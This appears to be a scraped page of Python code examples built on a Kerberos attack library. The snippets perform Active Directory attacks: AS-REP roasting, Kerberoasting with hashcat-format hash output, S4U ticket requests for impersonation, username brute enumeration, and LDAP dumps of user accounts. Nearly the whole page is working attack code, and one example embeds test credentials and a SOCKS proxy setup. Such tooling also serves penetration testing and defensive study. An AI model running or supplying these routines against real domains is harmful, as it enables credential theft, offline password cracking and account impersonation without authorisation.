Exemple #1
0
async def amain(args):
	cu = KerberosClientURL.from_url(args.kerberos_connection_url)
	ccred = cu.get_creds()
	target = cu.get_target()

	service_spn = KerberosSPN.from_target_string(args.spn)
	target_user = KerberosSPN.from_user_email(args.targetuser)
	
	if not ccred.ccache:
		logger.debug('Getting TGT')
		client = AIOKerberosClient(ccred, target)
		await client.get_TGT()
		logger.debug('Getting ST')
		tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
	else:
		logger.debug('Getting TGS via TGT from CCACHE')
		for tgt, key in ccred.ccache.get_all_tgt():
			try:
				logger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
				client = AIOKerberosClient.from_tgt(target, tgt, key)

				tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
				logger.info('Sucsess!')
			except Exception as e:
				logger.debug('This ticket is not usable it seems Reason: %s' % e)
				continue
			else:
				break

	client.ccache.to_file(args.ccache)	
	logger.info('Done!')
Exemple #2
0
async def get_TGS(url, spn, out_file=None, override_etype=None):
    try:
        logger.debug('[KERBEROS][TGS] started')
        if isinstance(override_etype, int):
            override_etype = [override_etype]

        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(spn)

        logger.debug('[KERBEROS][TGS] target user: %s' %
                     spn.get_formatted_pname())
        logger.debug('[KERBEROS][TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logger.debug('[KERBEROS][TGS] fetching TGS')
        tgs, encTGSRepPart, key = await kcomm.get_TGS(
            spn, override_etype=override_etype)

        kirbi = tgt_to_kirbi(tgs, encTGSRepPart)

        if out_file is not None:
            with open(out_file, 'wb') as f:
                f.write(kirbi.dump())

        logger.debug('[KERBEROS][TGS] done!')
        return tgs, encTGSRepPart, key, kirbi, None
    except Exception as e:
        return None, None, None, None, e
Exemple #3
0
async def main():
    url = 'kerberos+pw://teas\\test:[email protected]'
    ku = KerberosClientURL.from_url(url)
    target_user = '******'
    target = ku.get_target()
    print(target)
    spn = KerberosSPN.from_user_email(target_user)
    ue = KerberosUserEnum(target, spn)
    res = await ue.run()
    print(res)

    url = 'kerberos+pw://TEST\\asreptest:[email protected]'
    ku = KerberosClientURL.from_url(url)
    target = ku.get_target()
    cred = ku.get_creds()
    arr = APREPRoast(target)
    res = await arr.run(cred)
    print(res)

    target_user = '******'
    spn = KerberosSPN.from_user_email(target_user)
    url = 'kerberos+pw://TEST\\victim:[email protected]/?timeout=77'
    ku = KerberosClientURL.from_url(url)
    target = ku.get_target()
    cred = ku.get_creds()
    arr = Kerberoast(target, cred)
    res = await arr.run([spn])
    print(res)

    target_user = '******'
    spn = KerberosSPN.from_user_email(target_user)
    url = 'kerberos+pw://TEST\\victim:[email protected]/?proxyhost=10.10.10.102&proxytype=socks5&proxyport=1080'
    ku = KerberosClientURL.from_url(url)
    target = ku.get_target()
    print(target)
    cred = ku.get_creds()
    arr = Kerberoast(target, cred)
    res = await arr.run([spn])
    print(res)
Exemple #4
0
async def s4u(url, spn, targetuser, out_file=None):
    try:
        logger.debug('[KERBEROS][S4U] Started')
        cu = KerberosClientURL.from_url(url)
        ccred = cu.get_creds()
        target = cu.get_target()

        service_spn = KerberosSPN.from_target_string(spn)
        target_user = KerberosSPN.from_user_email(targetuser)

        if not ccred.ccache:
            logger.debug('[KERBEROS][S4U] Getting TGT')
            client = AIOKerberosClient(ccred, target)
            await client.get_TGT()
            logger.debug('[KERBEROS][S4U] Getting ST')
            tgs, encTGSRepPart, key = await client.getST(
                target_user, service_spn)
        else:
            logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
            for tgt, key in ccred.ccache.get_all_tgt():
                try:
                    logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' %
                                 '!'.join(tgt['cname']['name-string']))
                    client = AIOKerberosClient.from_tgt(target, tgt, key)

                    tgs, encTGSRepPart, key = await client.getST(
                        target_user, service_spn)
                    logger.debug('[KERBEROS][S4U] Sucsess!')
                except Exception as e:
                    logger.debug(
                        '[KERBEROS][S4U] This ticket is not usable it seems Reason: %s'
                        % e)
                    continue
                else:
                    break

        if out_file:
            client.ccache.to_file(out_file)

        logger.debug('[KERBEROS][S4U] Done!')
        return tgs, encTGSRepPart, key, None

    except Exception as e:
        return None, None, None, e
Exemple #5
0
async def get_TGS(url, spn, out_file=None):
    try:
        logger.debug('[KERBEROS][TGS] started')
        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(spn)

        logger.debug('[KERBEROS][TGS] target user: %s' %
                     spn.get_formatted_pname())
        logger.debug('[KERBEROS][TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logger.debug('[KERBEROS][TGS] fetching TGS')
        tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)

        if out_file is not None:
            kcomm.ccache.to_file(out_file)
        logger.debug('[KERBEROS][TGS] done!')
        return tgs, encTGSRepPart, key, None
    except Exception as e:
        return None, None, None, e
Exemple #6
0
async def amain(args):
    if args.command == 'tgs':
        logging.debug('[TGS] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(args.spn)

        logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
        logging.debug('[TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logging.debug('[TGS] fetching TGS')
        await kcomm.get_TGS(spn)

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGS] done!')

    elif args.command == 'tgt':
        logging.debug('[TGT] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()

        logging.debug('[TGT] cred: %s' % cred)
        logging.debug('[TGT] target: %s' % target)

        kcomm = AIOKerberosClient(cred, target)
        logging.debug('[TGT] fetching TGT')
        await kcomm.get_TGT()

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGT] Done! TGT stored in CCACHE file')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        targets = get_targets_from_file(args, False)
        targets += get_target_from_args(args, False)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
        logging.debug(
            '[ASREPRoast] will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosTarget(args.address)
        ar = APREPRoast(ks)
        hashes = []
        for target in targets:
            h = await ar.run(target, override_etype=[args.etype])
            hashes.append(h)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        ar = Kerberoast(target, cred)
        hashes = await ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'brute':
        target = KerberosTarget(args.address)

        with open(args.targets, 'r') as f:
            for line in f:
                line = line.strip()
                spn = KerberosSPN()
                spn.username = line
                spn.domain = args.realm

                ke = KerberosUserEnum(target, spn)

                result = await ke.run()
                if result is True:
                    if args.out_file:
                        with open(args.out_file, 'a') as f:
                            f.write(result + '\r\n')
                    else:
                        print('[+] Enumerated user: %s' % str(spn))

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'spnroast-sspi':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(
                    spn_name.get_formatted_pname())
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast-multiplexor':
        #hiding the import so it's not necessary to install multiplexor
        await spnmultiplexor(args)

    elif args.command == 'auto':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi-ntlm://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[args.etype])
            results.append(res)

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        client = ldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    async for user in client.get_all_service_users():
                        cnt += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))

            else:
                print('[+] SPN users')
                async for user, err in client.get_all_service_users():
                    if err is not None:
                        raise err
                    cnt += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    async for user, err in client.get_all_knoreq_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
            else:
                print('[+] ASREP users')
                async for user, err in client.get_all_knoreq_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    async for user, err in client.get_all_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                async for user, err in client.get_all_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    async for obj, err in client.pagedsearch(
                            args.filter, args.attrs):
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                async for obj, err in client.pagedsearch(
                        args.filter, args.attrs):
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))